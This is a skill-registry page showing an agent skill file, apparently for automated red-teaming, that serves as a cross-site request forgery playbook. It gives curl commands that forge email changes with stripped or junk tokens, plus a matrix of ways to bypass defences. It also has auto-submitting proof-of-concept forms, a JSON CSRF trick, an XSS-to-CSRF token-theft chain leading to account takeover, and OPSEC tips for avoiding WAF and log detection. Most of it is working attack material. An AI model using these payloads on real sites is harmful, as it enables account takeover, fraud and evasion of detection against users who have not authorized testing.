CtrlK
BlogDocsLog inGet started
Tessl Logo

csrf

Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover.

71

Quality

87%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

CSRF Playbook

Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.

1. Detection — is the endpoint actually protected?

# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'

# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "email=attacker@evil.com"

# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "csrf=AAAAAAAA&email=attacker@evil.com"

# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"

# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"

# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
  "https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"

HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.

2. Bypass / misconfig matrix

ClassServer flawBypass
Token absentno token at alldirect cross-origin form POST
Token not validatedheader sent but never checkedsend empty / random token
Token not bound to sessiontoken from another account worksmint a token in attacker account, use against victim
Predictable tokensequential / timestamp / md5(userid)precompute
Token in URLleaks via Referer / logs / shouldersteal then replay
Method-override_method=POST, X-HTTP-Method-Override: POSTturn protected POST into a GET CSRF
JSON CSRFaccepts Content-Type: application/json from formssubmit form with enctype=text/plain + crafted body, or use fetch
Content-type bypassonly validates token when CT=application/x-www-form-urlencodedswitch to text/plain or multipart/form-data
SameSite=Lax gaptop-level GET still sends cookieGET-based state change, or <form method=POST> triggered by user click
SameSite=Noneno protection at allclassic cross-site form
Missing on subsetonly /admin/* protectedunprotected sister endpoint (/api/v1/email)
Login CSRFlogin endpoint has no tokenforce victim into attacker's account → captures victim activity
Logout CSRFlogout has no tokendenial-of-service / phishing reset
Double-submit cookie flawcookie not __Host- prefixed / set from any subdomainXSS on subdomain plants the cookie + matching body value
Referer-only checkheader strippable<meta name="referrer" content="no-referrer"> on attacker page

3. Exploit PoC

3.1 Classic form CSRF (auto-submit)

<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
  <input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>

3.2 JSON CSRF via text/plain

<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

3.3 CSRF via XSS (defeats double-submit / SameSite)

// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
  fetch('/account/email', {
    method: 'POST', credentials: 'include',
    headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
    body: 'email=attacker@evil.com'
  });
});

4. Chains

  • CSRF → ATO: change email → password reset → full takeover.
  • Login CSRF → activity capture: victim posts data into attacker's account.
  • CSRF → privilege grant: forge role=admin mass-assignment POST.
  • Subdomain XSS → double-submit bypass: write the CSRF cookie from a sibling, then forge.

5. Tools

  • Burp Suite — Engagement Tools → Generate CSRF PoC, CSRF Scanner extension
  • XSRFProbe — automated CSRF audit (xsrfprobe -u https://<TARGET>)
  • Bolt — context-aware CSRF scanner

6. Detection signatures & OPSEC

IndicatorDetection methodOPSEC note
Many POST from foreign OriginWAF Origin/Referer ruleUse blank/null Referer to test, throttle
Repeated token mutation on one sessionApp-side anomalyToggle one variable per request
Auto-submit form referrer from attacker hostAccess-log correlationHost PoC on in-scope collector during authorized tests

Decision Gate: CSRF confirmed → exploitation

  • State-changing action succeeds without / with junk token
  • Origin/Referer not strictly validated (or strippable)
  • Cookie reaches the endpoint cross-site (SameSite ≠ Strict, or top-level nav)
  • PoC achieves a security-relevant change (email, password, role, funds) If all checked, escalate per finding-protocol; otherwise downgrade.
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.